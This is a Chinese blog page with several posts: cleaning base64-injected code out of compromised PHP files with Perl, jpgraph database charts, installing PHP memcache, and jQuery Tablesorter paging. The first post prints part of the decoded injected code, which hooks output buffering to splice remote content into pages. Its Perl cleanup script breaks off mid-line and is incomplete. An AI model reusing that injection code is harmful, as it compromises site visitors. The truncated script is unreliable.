用perl清理被注入代码的PHP文件

周末在准备澳大利亚的行程,想起半年前申请了一个Welvxing.com的域名,并且也用Discuz X2搭了个论坛(We旅行),不过一直荒废在那里。趁周末搜集资料时简单的折腾了一下,正好用来记录分享行程攻略。一直用的Chrome也没觉得有什么异常,偶尔用IE打开的时候发现会自动跳转到一个莫名其妙的网站。一想坏了,可能被注入代码了,一看PHP源文件,果然在第一行被注入了一段base64加密过的代码(本来想将代码贴进来,不过Dreamhost不让这么干,一直报503错误,只好作罢)。

解码以后的代码为:


if(function_exists('ob_start')&&!isset($_SERVER['mr_no'])){ $_SERVER['mr_no']=1; if(!function_exists('mrobh')){ function get_tds_777($url{$content="";$content=@trycurl_777($url);
...此处省略若干行
function mrobh($content){ @Header('Content-Encoding: none'); $decoded_content=gzdecodeit($content); if(preg_match('/\<\/body/si',$decoded_content)){ return preg_replace('/(\<\/body[^\>]*\>)/si',gml_777()."\n".'$1',$decoded_content); }else{ return $decoded_content.gml_777(); } } ob_start('mrobh'); } }

头疼的时,几乎所有的PHP文件都受影响了,2000个多啊,手工改还不要了亲命了。好在有Perl帮忙,遍历所有子目录的文件也不需要写递归,简单几行代码就可以搞定了:


#!/usr/bin/perl
use File::Find;

sub clean_file {
my $file = shift;
my $tmp = $file.".tmp";

print "clean file $file ...\n";
open(FILE, $file) or die "can not open $file\n";
open(TMP, ">$tmp") or die "can not open $tmp\n";
while(){
my $line = $_;
$line =~ s/^.*aWYoZnVuY3Rpb25fZXhpc.*$/

注:清理之前注意备份现场,要是脚本有点小问题,到时候就追悔莫及了^_^

使用jpgraph绘制数据库监控图形

对于数据库的监控,可以分成两种类型,一种是实时的错误告警,需要尽快将一些错误信息发送给相关责任人,这更多的属于救火的性质。另外一种就是关键指标历史趋势的展示和分析,可以帮助DBA更加直观的发现数据库的指标的异常波动,提前发现问题。

市面上有不少商品的数据库监控产品,数据库厂商们也在不遗余力的推广自己的解决方案,其中不乏优秀的东西,不过能做到多产品兼容、可扩展伸缩和高度可定制的产品就凤毛麟角了。所以很多公司会自己开发一些数据库监控产品,不求大而全,只要能满足自己的业务需求就足矣。

对于自己开发的轻量级监控产品,使用LAMP等开源产品是比较合适的。数据的抽取和告警的发送,可以使用shell或者perl,几个简单的脚本就可以实现,放在crontab里定期跑跑就行,监控数据库使用MySQL存放,如果需要实现高可用的监控,考虑一下冗余,MySQL可以使用Master-Master Replication。而展示可以使用php等搭建一个简单的web网站,成本不高,效率很高。

对于历史趋势的展示,图形绘制是必须的,一图胜千言。如果使用的是PHP,jpgraph或者是pChart都是不错的选择。相对而言,jpgraph的文档和开发都还在不断的丰富,最新版本3.0.6发布于2009-10-10,而pChart的最新版本则是2008-10-06发布的1.27d,因此建议使用jpgraph。如果使用java来架构监控网站,则anysqlDataReport是值得推荐的一款产品,简单易上手,功能很强大很邪恶。

扯的有点远了,回到这篇文章的标题。jpgraph只是一个图形绘制的库,如果需要比较方便的用于数据库监控中,最好在上面再封装一层,以实现根据SQL语句查询的结果集自动绘制图形,这样可以更方便的做到批量化的增加关键指标的图形展示。另外,jpgraph对于中文的支持,因为使用了truetype字体的关系,有一点点复杂,需要从windows复制c:\windows\fonts\simsun.ttc和c:\windows\fonts\simhei.ttc到linux的/usr/share/fonts/truetype目录。jpgraph默认会将所有的中文转化成UTF8字符,如果数据库和web使用的是gb2312,则这个转化会导致乱码,解决办法是修改jpgraph_ttf.inc.php,注释掉转化部分的代码:

     /*   elseif( $aFF === FF_SIMSUN ) {
            // Do Chinese conversion
            if( $this->g2312 == null ) {
                include_once 'jpgraph_gb2312.php' ;
                $this->g2312 = new GB2312toUTF8();
            }
            return $this->g2312->gb2utf8($aTxt);
        }*/

绘制图形时,在需要使用中文的地方,显式的调用字体设置函数,将字体设置为simsun,即可正确的显示中文:

$graph->title->SetFont(FF_SIMSUN,FS_BOLD);
$graph->title->Set("中文测试");

最后,贴两张用jpgraph绘制的Oracle数据库监控效果图:
sql_executions

sequential_reads

在PHP使用MemCached

在PHP中使用Memcached,有两种方式,一种是安装PHP的memcache扩展(实际上还有另外一个memcached扩展,是基于比较流行的libmemcached库封装的),该扩展是用c写的,效率较高,需要在服务器上安装。另外一种则是直接使用客户端的php-memcached-client类库,但是这个我在网上找了半天也没找到一个官方的网站。所以呢,还是装个扩展吧。假设php安装在/home/admin/php目录:

wget http://pecl.php.net/get/memcache-2.2.5.tgz
gzip -d memcache-2.2.5.tgz
tar xvf memcache-2.2.5.tar
cd memcache-2.2.5
/home/admin/php/bin/phpize
Configuring for:
PHP Api Version:         20041225
Zend Module Api No:      20060613
Zend Extension Api No:   220060519

./configure --enable-memcache --with-php-config=/home/admin/php/bin/php-config --with-zlib-dir
Installing shared extensions:     /home/admin/php/lib/php/extensions/no-debug-non-zts-20060613/

注意到最后一行返回的信息,将下面两行添加到/home/admin/php/lib/php.ini

extension_dir = "/home/admin/php/lib/php/extensions/no-debug-non-zts-20060613/"
extension=memcache.so

然后重启web服务器即可。如果安装成功,则通过phpinfo()可以获得该扩展的相关信息:

memcache support enabled
Active persistent connections 0
Version 2.2.5
Revision $Revision: 1.111 $
Directive Local Value Master Value
memcache.allow_failover 1 1
memcache.chunk_size 8192 8192
memcache.default_port 11211 11211
memcache.default_timeout_ms 1000 1000
memcache.hash_function crc32 crc32
memcache.hash_strategy standard standard
memcache.max_failover_attempts 20 20

以上参数都可以在php.ini中进行设置。下面是一段官方网站的php测试代码:

<?php
$memcache = new Memcache;
$memcache->connect('127.0.0.1', 11211) or die ("Could not connect");
$version = $memcache->getVersion();
echo "Server's version: ".$version."\n";
$tmp_object = new stdClass;
$tmp_object->str_attr = 'test';
$tmp_object->int_attr = 123;
$memcache->set('key', $tmp_object, false, 10) or die ("Failed to save data at the server");
echo "Store data in the cache (data will expire in 10 seconds)\n";
$get_result = $memcache->get('key');
echo "Data from the cache:\n";
var_dump($get_result);
?>

运行后输出如下:

Server's version: 1.2.6 
Store data in the cache (data will expire in 10 seconds) 
Data from the cache: object(stdClass)#3 (2) 
{ ["str_attr"]=>  string(4) "test" ["int_attr"]=>  int(123) } 

用jQuery+Tablesorter实现客户端分页与排序

最近花了比较多的时间在自己开发的一个数据库监控系统上。监控系统的架构很简单,主要用shell+perl+SQL采集数据到一个MySQL数据库中,然后使用php来做web展示。对于仅仅定位于团队内部使用的小系统来说,这样的架构足够了,简单有效。

为了将数据库中的一些详细数据展示到web页面,采用了PEAR::HTML_Table,可以将SQL查询的结果直接转换成html表格。HTML_Table功能比较单一,如果要实现分页与排序的功能,还需要借助SQL语句。在MySQL中,如果要根据选择的任何一列都能用来排序的话,只要该列没有索引,就必须filesort进行实际的排序。由于系统中没有引入cache层,每次页面刷新都要到数据库中执行排序的SQL,性能是比较差的。

因此便想用javascript在客户端实现分页与排序,数据库中只要一次性选出需要的数据即可。jQuery是目前比较流行的一个javascript框架,以前也是久闻其名,但一直没有用过。Google了一把,发现其用法还是非常简单的,短短几行代码,就可以实现我所想要的效果。jQuery功能强大,但其实就是一个120K左右的js文件,并且还支持插件,分页功能就是通过一个叫tablesorter的插件实现的。

使用jQuery+Tablesorter实现客户端分页与排序,只需要10几行代码足矣。唯一的要求,就是html的table标签内要包含thead和tbody部分,这可以调用HTML_Table::getHeader()生成thead,调用HTML_Table::getBody()生成tbody部分。然后在需要展示数据的页面引入jQuery和Tablesorter的js库文件,再加上几行代码即可实现客户端javascript对数据table的分页与排序,并且还支持动态修改每页数据行数,支持多列排序等。具体的例子和代码,都可以在本文的链接中找到,就不在这里多说了。

Web开发我是外行,几年前学了点php的皮毛,知识已经多年没有更新过了。Ajax和web2.0的年代,javascript确实重新焕发了青春,像jQuery这样的框架,真的是不可多得的好东西,对于像我这样的初学者,也能很快上手做出相当不错的页面效果,这才是技术的生产力啊。

当然,在客户端做分页和排序有利也有弊。因为所有数据是一开始就全部从数据库中选取并返回客户端的,如果数据量比较大,那么第一次加载页面的时间就会比较长,并且可能占用客户端过多的资源。所以必须仔细权衡,在合适的场景用合适的技术。

无觅相关文章插件,快速提升流量